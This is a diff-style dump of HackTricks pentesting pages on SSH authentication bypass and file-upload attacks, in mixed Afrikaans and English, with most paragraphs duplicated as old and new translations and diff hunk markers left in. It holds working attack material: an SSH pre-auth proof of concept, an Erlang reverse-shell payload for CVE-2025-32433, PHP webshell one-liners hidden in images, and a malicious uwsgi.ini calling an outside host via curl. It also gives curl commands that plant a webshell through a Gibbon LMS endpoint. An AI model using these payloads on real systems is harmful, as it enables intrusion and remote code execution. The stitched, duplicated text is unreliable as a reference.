In 'n omgewing met hoë sekuriteit is dit algemeen om slegs sleutel-gebaseerde of tweefaktor-verifikasie te aktiveer eerder as die enkel-faktor wagwoordgebaseerde verifikasie. Maar dikwels word die sterker verifikasiemetodes geaktiveer sonder om die swakker een uit te skakel. 'n Gereelde geval is om `publickey` in die openSSH-konfigurasie te aktiveer en dit as die verstekmetode te stel, maar nie `password` uit te skakel nie. Deur die verbose-modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
As 'n limiet vir autentikasiefoute gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik.
Byvoorbeeld, as 'n authentication failure limit gestel is en jy nooit die kans kry om die password method te bereik nie, kan jy die `PreferredAuthentications`-opsie gebruik om hierdie metode af te dwing.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Hersien die SSH-bediener konfigurasie is nodig om te verifieer dat slegs verwagte metodes gemagtig is. Om die uitgebreide modus op die kliënt te gebruik, kan help om die doeltreffendheid van die konfigurasie te sien.
Dit is nodig om die SSH-bediener se konfigurasie te hersien om te kontroleer dat slegs verwagte metodes gemagtig is. Om die uitgebreide modus op die kliënt te gebruik, kan help om die doeltreffendheid van die konfigurasie te bepaal.
### Config lêers
### Konfigurasielêers
```bash
ssh_config
sshd_config
@ -282,22 +301,22 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Verifikasie Toestand-Masjien Omseiling (Pre-Auth RCE)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Verskeie SSH bediener implementasies bevat logika foute in die **verifikasie eindige toestand masjien** wat 'n kliënt toelaat om *verbinding-protokol* boodskappe **voor** verifikasie voltooi is, te stuur. Omdat die bediener nie verifieer dat dit in die korrekte toestand is nie, word daardie boodskappe hanteer asof die gebruiker ten volle geverifieer is, wat lei tot **ongeverifieerde kode uitvoering** of sessie skepping.
Verskeie SSH-serverimplementasies bevat logiese foute in die **authentication finite-state machine** wat 'n kliënt toelaat om *connection-protocol* boodskappe te stuur **voordat** authenticatie voltooi is. Omdat die bediener versuim om te verifieer dat dit in die korrekte toestand is, word daardie boodskappe hanteer asof die gebruiker ten volle geauthentiseer is, wat kan lei tot **unauthenticated code execution** of sessieskepping.
Op 'n protokolvlak behoort enige SSH boodskap met 'n _boodskap kode_ **≥ 80** (0x50) tot die *verbinding* laag (RFC 4254) en moet **slegs aanvaar word na suksesvolle verifikasie** (RFC 4252). As die bediener een van daardie boodskappe verwerk terwyl dit steeds in die *SSH_AUTHENTICATION* toestand is, kan die aanvaller onmiddellik 'n kanaal skep en aksies soos opdrag uitvoering, poort-voorwaartse, ens. versoek.
Op protokolvlak behoort enige SSH-boodskap met 'n _message code_ **≥ 80** (0x50) tot die *connection* laag (RFC 4254) en moet **slegs aanvaar word ná suksesvolle authenticatie** (RFC 4252). As die bediener een van daardie boodskappe verwerk terwyl dit nog in die *SSH_AUTHENTICATION* toestand is, kan die aanvaller onmiddellik 'n kanaal skep en aksies versoek soos command execution, port-forwarding, ens.
### Generiese Exploitasiestappe
1. Stel 'n TCP verbinding op met die teiken se SSH poort (gewoonlik 22, maar ander dienste kan Erlang/OTP op 2022, 830, 2222… blootstel).
2. Skep 'n rou SSH pakket:
* 4-byte **pakket_lengte** (big-endian)
* 1-byte **boodskap_kode** ≥ 80 (bv. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload wat verstaan sal word deur die gekose boodskap tipe
3. Stuur die pakket(te) **voor enige verifikasieslag voltooi is**.
4. Interaksie met die bediener API's wat nou _pre-auth_ blootgestel is (opdrag uitvoering, poort forwarding, lêerstelsel toegang, …).
### Generiese uitbuitingstappe
1. Stel 'n TCP-verbinding na die teiken se SSH-poort op (gewoonlik 22, maar ander dienste mag Erlang/OTP op 2022, 830, 2222… blootstel).
2. Stel 'n rou SSH-pakket saam:
* 4-byte **packet_length** (big-endian)
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload wat deur die gekose boodskaptipe verstaan sal word
3. Stuur die pakket(te) **voordat enige authenticatiestap voltooi is**.
4. Interageer met die bediener-API's wat nou pre-auth blootgestel is (command execution, port forwarding, file-system access, …).
Python bewys-van-konsep skets:
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
@ -309,41 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
In praktyk sal jy die sleutel-uitruiling moet uitvoer (of oorslaan) volgens die teikenimplementasie, maar **geen verifikasie** word ooit uitgevoer nie.
In die praktyk sal jy die key-exchange volgens die teiken-implementasie moet uitvoer (of oorslaan), maar **no authentication** word nooit uitgevoer nie.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Geraakte weergawes:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Oorsaak:** die Erlang inheemse SSH daemon valideer nie die huidige toestand voordat dit `ssh_connection:handle_msg/2` aanroep nie. Daarom bereik enige pakket met 'n boodskapkode 80-255 die verbindinghandler terwyl die sessie steeds in die *userauth* toestand is.
* **Impak:** ongeverifieerde **afgeleë kode-uitvoering** (die daemon loop gewoonlik as **root** op ingebedde/OT toestelle).
* **Geaffekteerde weergawes:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Worteloorsaak:** die Erlang native SSH daemon valideer nie die huidige toestand voordat dit `ssh_connection:handle_msg/2` aanroep nie. Daarom bereik enige pakket met 'n boodskapkode 80-255 die konneksiebehandelaar terwyl die sessie nog in die *userauth* toestand is.
* **Impak:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices).
Voorbeeldpayload wat 'n omgekeerde skulp genereer wat aan die aanvaller-beheerde kanaal gekoppel is:
Voorbeeld payload wat 'n reverse shell spawn gebind aan die attacker-controlled channel:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detectie kan via DNS uitgevoer word:
Blind RCE / out-of-band detection kan via DNS uitgevoer word:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Inspect SSH traffic: **verwerp enige pakket met boodskapkode ≥ 80 waargeneem voor authenticatie**.
* Upgrade Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** of nuwer.
* Beperk blootstelling van bestuurspoorte (22/2022/830/2222) veral op OT-toerusting.
Opsporing & Mitigering:
* Inspect SSH traffic: **verwerp enige pakket met boodskapkode ≥ 80 wat voor verifikasie waargeneem word**.
* Opgradeer Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** of nuwer.
* Beperk blootstelling van bestuursporte (22/2022/830/2222) veral op OT-toerusting.
---
### Other Implementations Affected
* **libssh** 0.6 0.8 (bedienerkant) **CVE-2018-10933** aanvaar 'n nie-geoutentiseerde `SSH_MSG_USERAUTH_SUCCESS` gestuur deur die kliënt, effektief die omgekeerde logika-fout.
### Ander implementasies aangetas
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** aanvaar `SSH_MSG_USERAUTH_SUCCESS` wat nie-geauthentiseerd deur die kliënt gestuur is, effektief die omgekeerde logika-fout.
Die algemene les is dat enige afwyking van die RFC-voorgeskrewe toestandsoorgange fataal kan wees; wanneer jy SSH-daemons hersien of fuzz, let veral op *toestandmasjien afdwinging*.
Die algemene les is dat enige afwijking van die RFC-voorgeskrewe toestandsoorgange katastrofaal kan wees; wanneer jy SSH-daemons hersien of fuzzing uitvoer, gee besondere aandag aan *staatmasjienhandhawing*.
## References
## Verwysings
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands
## HackTricks Outomatiese Opdragte
```
Protocol_Name: SSH
Port_Number: 22

View File

@ -1,10 +1,10 @@
# Lêer-oplaai
# Lêeroplaai
{{#include ../../banners/hacktricks-training.md}}
## Algemene metodologie vir lêer-oplaai
## Algemene metodologie vir lêeroplaai
Ander nuttige extensies:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -15,13 +15,13 @@ Ander nuttige extensies:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Omseil kontroles op lêer-ekstensies
### Omseil kontrole van lêeruitbreidings
1. Indien van toepassing, **kontroleer** die **vorige extensies.** Toets dit ook met sommige **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Toets om **'n geldige extensie vóór** die uitvoerings-extensie te voeg (gebruik ook vorige extensies):_
1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets dit ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige extensie voor** die uitvoer-extensie by te voeg (gebruik ook die vorige extensies):_
- _file.png.php_
- _file.png.Php5_
3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let wel dat jy ook kan probeer om die **vroeggenoemde** **extensies** te gebruik_)
3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let wel dat jy ook kan probeer om die **eerder** genoemde **extensies** te gebruik_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Ander nuttige extensies:
- _file._
- _file.php...._
- _file.pHp5...._
4. Probeer om die beskermings te omseil deur die bediener se **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
4. Probeer om die beskermings te omseil deur die server-side se extensie-parser te mislei met tegnieke soos die **verdubbeling** van die **extensie** of deur **rommeldata** (null bytes) tussen extensies by te voeg. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@ Ander nuttige extensies:
5. Voeg **nog 'n laag van extensies** by by die vorige toets:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop die bediener is verkeerd gekonfigureer. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die ekstensie **.php**, maar nie noodwendig eindigend op .php nie, kode sal uitvoer):
6. Probeer om die **uitvoerings-extensie voor die geldige extensie** te plaas en hoop die bediener verkeerd gekonfigureer is. (nuttig om Apache miskonfigurasies te benut waar enigiets met die uitbreiding .php, maar nie noodwendig wat eindig in .php nie, kode sal uitvoer):
- _ex: file.php.png_
7. Gebruik van **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word ná 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later deur ander tegnieke gewysig word, soos deur sy short filename te gebruik. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Dus kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (bv. "file.asp::$data.")
8. Probeer om die lêernaamlimiete te breek. Die geldige extensie word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
7. Gebruik van **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval word 'n kolon karakter ":" ingevoeg na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later met ander tegnieke bewerk word, soos om sy kortlêernaam te gebruik. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n punt-karakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "file.asp::$data.").
8. Probeer om lêernaam-limiete te breek. Die geldige extensie word afgekap en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Party upload handlers sny of normaliseer agtergestelde puntkarakters uit die gestoor lêernaam. In UniSharps Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1, kan jy extensie-validering omseil deur:
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharps Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
- Gebruik 'n geldige image MIME en magic header (bv. PNG se `\x89PNG\r\n\x1a\n`).
- Noem die oplaai-lêer met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
- Die bediener verwyder die agterste punt en stoor `shell.php`, wat sal uitvoer as dit in 'n web-bedienende gids geplaas word (standaard publieke stoor soos `/storage/files/`).
- Noem die opgelaaide lêer met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
- Die bediener verwyder die trailing dot en stoor `shell.php`, wat sal uitvoer as dit in 'n web-bedienerde gids geplaas word (standaard public storage soos `/storage/files/`).
Minimale PoC (Burp Repeater):
Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -84,51 +84,52 @@ Roep dan die gestoorde pad aan (tipies in Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Versagtingsmaatreëls:
Mitigasies:
- Opgradeer unisharp/laravel-filemanager na ≥ 2.9.1.
- Dwing streng server-side allowlists af en hervalideer die gestoorde lêernaam.
- Bedien uploads vanaf nie-uitvoerbare plekke.
- Dwing streng server-side allowlists af en valideer die gestoorde bestandsnaam weer.
- Bedien uploads vanaf nie-uitvoerbare liggings.
### Omseil Content-Type, Magic Number, Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
- Om **Content-Type** kontroles te omseil, stel die **value** van die **Content-Type** **header** op: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
- Om die **magic number** kontrole te omseil, voeg aan die begin van die lêer die **bytes of a real image** by (verwar die _file_ command). Of plaas die shell in die **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`\` of jy kan ook die **payload direk** in 'n image inbring:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- As **compressie by jou image gevoeg word**, byvoorbeeld met standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- Die webblad kan ook die **image** hergroot, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- Nog 'n tegniek om 'n payload te maak wat **'n image hergrooting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Ander truuks om te kontroleer
### Ander truuks om te toets
- Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander).
- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer.
- **Moontlike inligtingsvrystelling**:
1. Laai **veral kere** op (en op die **selfde tyd**) dieselfde **lêer** met dieselfde **naam**
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**
3. Laai 'n lêer op met **"." , "..", or "…" as its name**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers stoor in "/www/uploads/" directory, sal die "." filename 'n lêer met die naam "uploads" in die "/www/" directory skep.
4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"…:.jpg"** in **NTFS**. (Windows)
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdenk) wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer oopgemaak word.
- Soek 'n kwesbaarheid om die reeds opgelaaide lêer te **herbenoem** (om die uitbreiding te verander).
- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
- **Moontlike inligtingsopenbaring**:
1. Laai die **selfde lêer** **veelvuldige kere** op (en **tegelyk**) met dieselfde naam
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **alreeds bestaan**
3. Oplaai 'n lêer met **"." , "..", of "…" as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in die "/www/uploads/" gids stoor, sal die "." lêernaam 'n lêer genaamd
uploads” in die "/www/" gids skep.
4. Laai 'n lêer op wat nie maklik uitgevee kan word nie, soos **"…:.jpg"** in **NTFS**. (Windows)
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer oopgemaak word.
### Spesiale uitbreidingstruuks
### Spesiale extensie truuks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitvoer met php, of insluit in 'n script...)
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitgevoer met php, of ingesluit in 'n script...)
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers te importeer**, so, op 'n stadium, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
Die `.inc` uitbreiding word soms gebruik vir php-lêers wat slegs gebruik word om **lêers te importeer**, dus op 'n stadium kon iemand toegelaat het dat **hierdie uitbreiding uitgevoer word**.
## **Jetty RCE**
As jy 'n XML-lêer na 'n Jetty-server kan oplaai, kan jy [RCE kry omdat **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld vermeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,7 +137,7 @@ As jy 'n XML-lêer na 'n Jetty-server kan oplaai, kan jy [RCE kry omdat **new \*
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI-bedieners indien iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, plaasvervangers en operateurs in te sluit. Noemenswaardig is die '@' operateur, wat as `@(filename)` gebruik word en ontwerp is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonders kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI servers as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, placeholders, en operators in te sluit. Aanmerkend is die '@' operator, gebruik as `@(filename)`, wat ontwerp is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI, is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir bose doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer:
```ini
@ -156,14 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Die uitvoering van die payload gebeur tydens die parsing van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te kry, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service-aanval) óf die lêer moet ingestel wees om auto-reload. Die auto-reload feature, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
Die uitvoering van die payload vind plaas tydens die parsing van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te hê, moet die uWSGI-proses óf herbegin word (byvoorbeeld na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
Dit is belangrik om die losse aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike uitbuiting verder vergroot.
Dit is belangrik om die slap aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer ingesit word (soos 'n image of PDF), wat die potensiële eksploitasie verder uitbrei.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Ongeauthentiseerde endpoint in Gibbon LMS laat arbitrary file write binne die web root toe, wat lei tot pre-auth RCE deur 'n PHP-lêer te plaas. Kwesbare weergawes: tot en met 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignoreer type/naam, decodeer die staart met base64)
- `path`: bestemmingslêernaam relatief tot Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: enige nie-leë waarde word aanvaar (e.g., `0000000001`)
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Drop 'n minimale webshell en voer opdragte uit:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Aantekeninge:
- Die handler voer `base64_decode($_POST["img"])` uit nadat dit gesplit is by `;` en `,`, en skryf dan bytes na `$absolutePath . '/' . $_POST['path']` sonder om extensie/tipe te valideer.
- Die resulterende kode hardloop as die webdienstgebruiker (bv. XAMPP Apache op Windows).
Verwysings vir hierdie fout sluit die usd HeroLab advisory en die NVD entry in. Sien die Verwysings-afdeling hieronder.
## **wget File Upload/SSRF Trick**
In sommige gevalle mag jy vind dat 'n server **`wget`** gebruik om **download files** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die extension van die gedownloade files in 'n whitelist is om te verseker dat slegs toegelate files afgelaai gaan word. However, **this check can be bypassed.**\
Die **maximum** lengte van 'n **filename** in **linux** is **255**, egter **wget** kort die filenames af tot **236** karakters. Jy kan 'n file download met die naam "A"\*232+".php"+".gif" — hierdie filename sal die check omseil (soos in hierdie voorbeeld is ".gif" 'n geldige extension) maar `wget` sal die file hernoem na "A"\*232+".php".
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **download files** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die uitbreiding van die afgelaaide lêers binne 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai gaan word. Hierdie kontrole kan egter **omseil** word.\
Die **maksimum** lengte van 'n **filename** in **linux** is **255**, maar **wget** kap die filenames af tot **236** karakters. Jy kan **download** 'n lêer genaamd "A"*232+".php"+".gif", hierdie filename sal die **check** omseil (soos in hierdie voorbeeld is **".gif"** 'n **geldige** extensie) maar `wget` sal die lêer **hernoem** na **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +227,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
